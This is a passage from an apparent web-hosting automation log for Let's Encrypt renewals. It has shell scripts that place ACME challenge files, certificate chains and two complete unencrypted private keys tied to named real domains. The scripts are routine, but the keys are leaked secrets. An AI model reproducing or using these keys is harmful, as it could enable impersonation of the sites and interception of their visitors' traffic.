EwNZUjIwHhcNMjYwNzE4MDUwMzI0WhcNMjYxMDE2MDUwMzIzWjAjMSEwHwYDVQQD
ExhjZG4xLmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQDJWLVXPMjf/57Se+x96x5nM/a01V8mSiajM5eiP8M6HyBnMJdG
8xx4N82px4spK3r2zS0KdKJ7esijr0HBXedVzMc93qIG3SPUxVeZIBxuieMYcjxj
pTfnzCRWRMud8as9R1xDnklwGJ/9hTclKpric4EwKcUF2VctBd+JFkTt3qXh3POP
AbSJBm+6v7YKJ0TbssmGrrspgwM+AEBKeef82aiMwVxDJZc9VZChDk0SKIOlRSkh
QYtkzerQetJLAlJjdKOacSVyM2DMSfOUMKPFNjrQ2IuqUfgX33xTNtz7tm3pF7q/
v1R7xuzNPbF6fu/tFXkvmwneutavYMLXSP1/AgMBAAGjggInMIICIzAOBgNVHQ8B
Af8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQU1w80H7/ct+buYi4dLwORbKCQHLwwHwYDVR0jBBgwFoAUQBUtJnntMiCe
35pyHdYyH4EMgQwwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
eXIyLmkubGVuY3Iub3JnLzAjBgNVHREEHDAaghhjZG4xLmhvcGVpbnN0b3VnaHRv
bi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3lyMi5jLmxlbmNyLm9yZy82NC5jcmwwggENBgorBgEEAdZ5AgQCBIH+BIH7
APkAdwCUTkOH+uzB74HzGSQmqBhlAcfTXzgCAT9yZ31VNy4Z2AAAAZ9z0SauAAAE
AwBIMEYCIQCe7GmzTqslPYnP/EPTpHbr82T6D5u1xm5nrdGelTRMzgIhALPAXsQv
7Ac4Qj3B3/5OsRX9Q6CCzTcHkSTjH8vSZMlnAH4AJuNkblhpISO8ND9HJDWbN5LN
JFqI2BXTkzP9mRirRyMAAAGfc9EjsgAIAAAFACpwevUEAwBHMEUCIQCo4HdwGyJe
gd4+4CDYXLmsJyviKsDzeHL9C8ayjhTRLQIgffKNqKeirLQ6BaiA8Axo2ulbF4t3
/Bv81ocFnDLi8W0wDQYJKoZIhvcNAQELBQADggEBAFnvgkpVPX4kJRvlLpu7QZVr
V4zPu22Dbl+ywyby5JR2jbIZ5z0TIf1dstumJbPMQ+mw+p8q+XXDo7THpecHgvqI
puLf3E6Mcw64qyivjNJ7aRVMTkFNJskyVDjudeZVNjrF1WwiGEjThAW5fXVIc3kC
OKyTkkX4V2OTCOUFTzH7OxKup5NN5/4a3ynWCDD7b1rRCOlvxFJXkZ4d/8m2n0v6
Urdjaggk0DOqKkYg3Ifjg2sEp39/ouIRBc010zREaqUqfVy0F0+J4mb9V1yTpL0s
Op4xSkN+nYzeTbJ07CsFV3ZuytYRYz0mi2wtPU1WzKaPXRWZgznyB0ZK80OXTrE=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDJWLVXPMjf/57S
e+x96x5nM/a01V8mSiajM5eiP8M6HyBnMJdG8xx4N82px4spK3r2zS0KdKJ7esij
r0HBXedVzMc93qIG3SPUxVeZIBxuieMYcjxjpTfnzCRWRMud8as9R1xDnklwGJ/9
hTclKpric4EwKcUF2VctBd+JFkTt3qXh3POPAbSJBm+6v7YKJ0TbssmGrrspgwM+
AEBKeef82aiMwVxDJZc9VZChDk0SKIOlRSkhQYtkzerQetJLAlJjdKOacSVyM2DM
SfOUMKPFNjrQ2IuqUfgX33xTNtz7tm3pF7q/v1R7xuzNPbF6fu/tFXkvmwneutav
YMLXSP1/AgMBAAECggEACnq+fXrhbZ8tUgE3LtqU64Qt2/2bBTAo0Ke3xa8R5y2F
jzldNkki+zLUVnjXSl5D+SJ2rKujZU/fr31Iq9rKVpHg8NxsjHToD4Px6jtcn3g3
xKb1c64+uabLYV4VRvQ0GG1lZPORGO9/LD/Jvfp4sz6Vw774zTQhsGs01jq9fa/Y
L3BLZ3dJ+mTrGCnuWXnCq2++xdWw4Jv9Ivvehuy5zT1F3M6wymu/1zjDDZhjchys
NndGgg7LfBIClfDrMQEVvsfRVS47zI81mVOgxBvxGYs6sq35zCdi9uBdlaom0nD5
YwdwNjrqt+gSESiFvQ5vI6B89UwxK0IGrvaZfuysqQKBgQD5dK+7KsRlhbuPhE46
AmCRiLpBacI0BcpSpCQQX5c9NSjHJsiZ0dn0gN9sRak6cFQb1CMm/HFJh6s2AWY2
pRBUk5pQ9zLLanodiXpjXrSn4RnJ5hGsyR0nwokYXtkQya+p4f2IBVUKpGmf94E8
3btG5CdtMjwR0iqzYLav9zMUjQKBgQDOoO0QLpnQRmVoRkb3iMf3J9w4vX+5oGRG
tKcpoPDfUY35VWs+MZyFd+T44CCfd0RIXCqQ8QFgC2e0SYbAR29Yjx3JEZn9qFU1
HHFKuywwUMK8k13Wig7UN14C1f2Lm1a1UUQiPeU58ZK9GC/3m8aSlwero9LQKb5M
guD6Ea6FOwKBgAG7XKj5AAoQZp/1dDGU6KS6BUkE+fMwgxoVx6ZRc5RaNSFE1Km0
ukWnS2XOCgG82+ihjWjs4cB376ldUx9YAAgGSlD7ll+xKo3f8XiVJL3xoyMytLa1
Yr1u7VK8/dbO/6g3SHJUTyXWxGD27+/DPlScquVoLuCUy/UY28vW9ITVAoGBALAt
qFPe2AksrLQ/D61pc855rxy1/pyAdF+REuK8tgRDXkFUoq8Rz/pBIvtM5qPxJkho
RWb2Bw0kTFT9SCbUAc1JocTZ/Cm6iIRTbwmgE+pSQehV4nHVnxU07DSQzrFlToYk
92oWykcggdQ3Nlbx/Frq6YBgm5Qfs4E7KqYtw1cXAoGATaaoz0g6sujhw7IH6D0A
bMKjI5Wy32k651yyXYcEKteKfm7hrdiAO3kX8a7qs3EqHm7ByFpxQAuV+knGTa6s
NOCE9CqtwOsjJHCJiz+4Tv6eMeLW4LiqWbBHKquI2LHiifsz8b1j1+W/IB6H1FKx
4SDd3ueCijCFTSQ0ZefJmog=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----






2026-07-18 06:01:57: Establishing a connection
2026-07-18 06:01:57: Establishing a connection
2026-07-18 06:01:57: 

PUT: /tmp/pkp464342

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_backup/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-18 06:01:58: 

chmod 755 /tmp/pkp464342; /tmp/pkp464342; rm /tmp/pkp464342

2026-07-18 06:01:58: 


1


2026-07-18 06:01:58: Establishing a connection
2026-07-18 06:01:58: 

PUT: /tmp/pkp232399

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cat > YqU6esNyzuT-4Dk28cX5yJanfWZXotAyqh5XBYJCqyU <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
YqU6esNyzuT-4Dk28cX5yJanfWZXotAyqh5XBYJCqyU.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 YqU6esNyzuT-4Dk28cX5yJanfWZXotAyqh5XBYJCqyU


2026-07-18 06:01:59: 

chmod 755 /tmp/pkp232399; /tmp/pkp232399; rm /tmp/pkp232399

2026-07-18 06:01:59: 




2026-07-18 06:02:00: Establishing a connection
2026-07-18 06:02:00: Establishing a connection
2026-07-18 06:02:00: 

PUT: /tmp/pkp858326

#!/bin/bash
if [ -d "/var/www/drewmarshall_caminoconfessions/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-18 06:02:01: 

chmod 755 /tmp/pkp858326; /tmp/pkp858326; rm /tmp/pkp858326

2026-07-18 06:02:01: 


1


2026-07-18 06:02:02: Establishing a connection
2026-07-18 06:02:02: 

PUT: /tmp/pkp873933

#!/bin/bash
mkdir -p "/var/www/drewmarshall_caminoconfessions/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_caminoconfessions/.well-known/acme-challenge/"
cat > ZebkUwMZdL6fWaXXOE445ZcQ7-qYUJARkna9sU23Ufc <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
ZebkUwMZdL6fWaXXOE445ZcQ7-qYUJARkna9sU23Ufc.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 ZebkUwMZdL6fWaXXOE445ZcQ7-qYUJARkna9sU23Ufc


2026-07-18 06:02:02: 

chmod 755 /tmp/pkp873933; /tmp/pkp873933; rm /tmp/pkp873933

2026-07-18 06:02:02: 




2026-07-18 06:02:08: Establishing a connection
2026-07-18 06:02:08: 

PUT: /tmp/pkp377470

#!/bin/bash
mkdir -p "/var/www/drewmarshall_caminoconfessions/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_caminoconfessions/.well-known/acme-challenge/"
rm ZebkUwMZdL6fWaXXOE445ZcQ7-qYUJARkna9sU23Ufc


2026-07-18 06:02:08: 

chmod 755 /tmp/pkp377470; /tmp/pkp377470; rm /tmp/pkp377470

2026-07-18 06:02:08: 




2026-07-18 06:02:08: Establishing a connection
2026-07-18 06:02:08: 

PUT: /tmp/pkp455219

#!/bin/bash
temp_file=$(mktemp)
TARGET=0d4c12a0a7fdfe4c1c8d0a1e449bbfe7.crt

cat > $temp_file <<'endmsg'
cd:62:ff:91:1a:19:33:dc:5f:4c:a5:7e:83:72:b4:d9

-----BEGIN CERTIFICATE-----
MIIFGzCCBAOgAwIBAgISBT5fLuCeH9tVJ5fjmaAECbo1MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNzE4MDUwMzM3WhcNMjYxMDE2MDUwMzM2WjAsMSowKAYDVQQD
EyFjYW1pbm9jb25mZXNzaW9ucy5kcmV3bWFyc2hhbGwuY2EwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQCLXKaR7sbJ/U0nCjJRRF40URJANPyiMU2BYaUx
AzUAeMfT9Kbpw6mMF/9n2r12KEogJX/EiZAkhfJuBvei7lRr7eTvFf27px9MhG2a
54XuyKizsCxjlwd7p4qrZXbuxwcDOD0LZLuqRBBzX69HFGAqoL4fRFTfip7BY9Hg
n9+nVGDrT6BxOLPHJzMLJaTKDZEdRHWNu5yen7LteNXqc2kIiF7LITaS9Eah4SYj
dIaHBE0dikPgHnDdQkGCJA5TAWQgIGp5k2jbhHTE7Lt+qag9rhz0ltI5eYcWEH9c
n17spjJjGC9QdBBDefuknX0sHJNyESxNx/Xl5MOBEZpMHWP/AgMBAAGjggIuMIIC
KjAOBgNVHQ8BAf8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/
BAIwADAdBgNVHQ4EFgQUPn8JikTKRfNbhGZjg8BFwwrPnMowHwYDVR0jBBgwFoAU
Hy81vkYUgs1Asa55LFV4+vfUaPswMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAC
hhdodHRwOi8veXIxLmkubGVuY3Iub3JnLzAsBgNVHREEJTAjgiFjYW1pbm9jb25m
ZXNzaW9ucy5kcmV3bWFyc2hhbGwuY2EwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYD
VR0fBCcwJTAjoCGgH4YdaHR0cDovL3lyMS5jLmxlbmNyLm9yZy81NC5jcmwwggEL
BgorBgEEAdZ5AgQCBIH8BIH5APcAdgDLOPcViXyEoURfW8Hd+8lu8ppZzUcKaQWF
sMsUwxRY5wAAAZ9z0VirAAAEAwBHMEUCIQCIH5tQMpl3T2+VQ1zrBMef9wlSN6ts
I/TTlb1fhifOFgIgDzOYmvVW1WW+Z7gUcZTN+glCQ+xdAs8ho3unAJ+jN0QAfQAa
i51rD/6/gbR5OcbSMQqG1tEC1PBG4hgsneNfXiYl7wAAAZ9z0VlmAAgAAAUAKuYp
UAQDAEYwRAIgVIfbfIkqYx2wTfX6ZiBcAOe//qNah94MIggHkMND2dACIE4dFXZE
5XyxKlcossPs9yg6HwQl2cLyE1bEd1bz51NuMA0GCSqGSIb3DQEBCwUAA4IBAQBK
GrF3Z4Y6h73o0bmT+t0cpY2Q1qE55sYf8gLC8Szmtv/ik9jMcBfPz/C02bdEeaPh
SaROibAHUgGphJK1w92J1BikR4UhXGJNGzH+Cp6i6qVZs79wplEDMBVQPRkWDhia
Ulu0p9iuSaVx88XXyikUsmy3CcDp7cgOVkiWMdoc7hV+2IsG15Ky4Mwdn2l23BBC
b/kdDI7MiEtMLsqIm1+lONsU3/C3pFLEG2T2oopF4gCT8eMxKll0+NQGdFm6kYve
2VxQtHf8w0yY4EyjifMkuBVh2hCdYUV4v4Zj+wjLAYQr5QBkxr9U52KjZYhS5hZu
ogXmv5v4jhBeuR0QSuLD
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCLXKaR7sbJ/U0n
CjJRRF40URJANPyiMU2BYaUxAzUAeMfT9Kbpw6mMF/9n2r12KEogJX/EiZAkhfJu
Bvei7lRr7eTvFf27px9MhG2a54XuyKizsCxjlwd7p4qrZXbuxwcDOD0LZLuqRBBz
X69HFGAqoL4fRFTfip7BY9Hgn9+nVGDrT6BxOLPHJzMLJaTKDZEdRHWNu5yen7Lt
eNXqc2kIiF7LITaS9Eah4SYjdIaHBE0dikPgHnDdQkGCJA5TAWQgIGp5k2jbhHTE
7Lt+qag9rhz0ltI5eYcWEH9cn17spjJjGC9QdBBDefuknX0sHJNyESxNx/Xl5MOB
EZpMHWP/AgMBAAECggEAKFnFsuhHb5GjZqPZqNUaT5yPo76TzWRoFAeRPG04ye+u
sCycrX+lFjaWkVvw0obc24zv/xhzf1e3N2tWBTtrfyqMyDr+UfiUI+QOFjVl/prj
2c8vMxC2LnP2vySsOHuxCJoedq+OdMCrYLR6PCLmq0EKe2QeDPGGgOklihvQNpLW
5EFm5euNC/RhtqE/JhTMjP1yqsGBVHbf3X2+2qD9abl0Gngn4Kxdgn+SDLAmeOad
LuYOMi9o9F/W8EPMOkcNDkOrTCWp51AHLEKm6f8SETIAaqB14LlFlaS93siOqYsE
kgErpk/b4qQnfLV238yhN8Zq9YeAC+JyDmdnBH9W7QKBgQDC5H83/Gpl9E0Mhu32
jf+VoW3oU4xf9UTQEnTS4PN8jYVxkhSrEXFu7fnj1JnmJSPutQkSUUGijgso/+vz
j1d1xcBgsiYwdNhRkGdtb/IzOQpnujIq/B8LdGRCel+NIeqolrf/NzbPjpnHUDq+
y8WzrohZLe6XWK1cVClKKM6jlQKBgQC3DtuJPfOrAadXPUZzF44h4dgbltNQd4Qm
ovO1wVFaGywvSHBXLSJ1uAfRsA+xBdv/HSIubn75OjuM4Z4+4QDNaQlznL3LjHEN
tAb8TmiBpiB1XA4Z55T2bbGq9Qlex3Opuz7c4saRrhUfFvtR5dHux9mLoQ97JcRU
515F+wFEQwKBgE2ZCQZTnFGH2f2445qdozwCkG5GhcfXMlTeZGFqa8gV2SIFFfGe
+lk+q5aJGdXGx+3NaxU+ATIl+E+Uxm+tjRc5a4WUqRv2CgM/yc6LGhZHCduPCVaQ
GBRJfXnym4ToEjSZ/hzB8TLnBleTnDBHlioavfM0FKFyD2SJpf7/DHeZAoGAKTPX
6BEgqknp/3HUTI1tuWSa/sK493CfNw8QacWEaRKapF3ao1SOYA62+9R0A7U86jQF
gIvwWmpoAvK5ao+8XX+Z2ALcmVcYDyyJMfr3/M6GmcPJjL0aQ0k3ZzJWFJYyC28Q
3CjS5vFW4bOLh8iBswwahBoRYPeENFQLXRb9Fv8CgYBC+6m8+T/J0JLiekjc+UNI
VUTsNPqhZwuVtyahNM9H8VJ1dwEW4x2xAly5YPO2letiqp5MiWEodx8cdkjb1+ui
KZotAEUmsrxGNDV9l/IPtILCtApezEcLdj55Ih45cKk64mLMcjX8e+UpO0HDTHxz
h/oiuQRZDqi83Dd+gYubtA==
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
MIIF9DCCA9ygAwIBAgIRAPJLbRf52a18scn+p4eCaZ8wDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjYwNTEzMDAwMDAw
WhcNMzIwOTAyMjM1OTU5WjAuMQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQ
MA4GA1UEAxMHUm9vdCBZUjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIB
ANvGJnN78CTJdWL3+eGfsLN5TrNBJs+VH9hRXqRbwxu9sGNiB0BD1fcOxbSUQCJI
M1xE13Db+5Cw1w0s0EBYsvuIP/6joF0w8cuImbgR1OGgYbSQ4OpzI+DG8SGuTlcE
873OCS+kh3srlo6vl43M5OJg4Aeo1sfHp6kTJDoIiFBNJAY+OKfX/FUvYKuhjT+n
o49lmqmupSBI5PkBQiqrEGtWU5uxU/cQWHGu8jSjFBznZqvbNPLMXMLFxCb3WTfr
JBXXjqvWG+v4bjzxjjeAtOlU7qarRDvNOyAuQYLln904M+faKx8hnLCpJ15ZqaEg
cNlY+9MMWcC5yvL2A2j3l9+2buggZX+dOE91zYmIdawTvSZuVvlbRrAlLxIB6pwM
BjneXCjYQ8+3BCCjssbSNpZU3hTcBDdhfAlEDlYr6pEatnMdmDT5BqnKC92bd0Eh
M1fbLHioLccLCuievT8ZkPhZrq7Mii7gNXAcUEAR8+lzYal+9zTg7C5DALyVOeG/
CqfRAMn1KSHCR0NSA6P8tn/mGRlnCct5rtVCLnVySVpU6H1qGg3DgTOuskf8eahT
MiYbI5ezPJmO5ertalskQ1utp74+eDy92PI4ftHKTbq9IWhH4YZKh3WnJEIt+oQv
lYZbY8tpEroKrFB6PFGzrJIDRyts4HqvuH52RFj2zv/BAgMBAAGjgeswgegwDgYD
VR0PAQH/BAQDAgEGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMA8GA1UdEwEB/wQFMAMB
Af8wHQYDVR0OBBYEFN7nW2DQIm1AKH0/DQH+pLVStFGUMB8GA1UdIwQYMBaAFHm0
WeZ7tuXkAXOACIjIGlj26ZtuMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEFBQcwAoYW
aHR0cDovL3gxLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAECATAnBgNV
HR8EIDAeMBygGqAYhhZodHRwOi8veDEuYy5sZW5jci5vcmcvMA0GCSqGSIb3DQEB
CwUAA4ICAQA8spSI95KKfn2W6GMmDpHBJSPaLbsS3W93cijJCRCYAc1fsJgL1FIL
7C0C9ecPOdcwB2fi0Dk2p94j9iTJCxmt5CFSKLRWwnXT2MMSXexVxqoVB79BdWPx
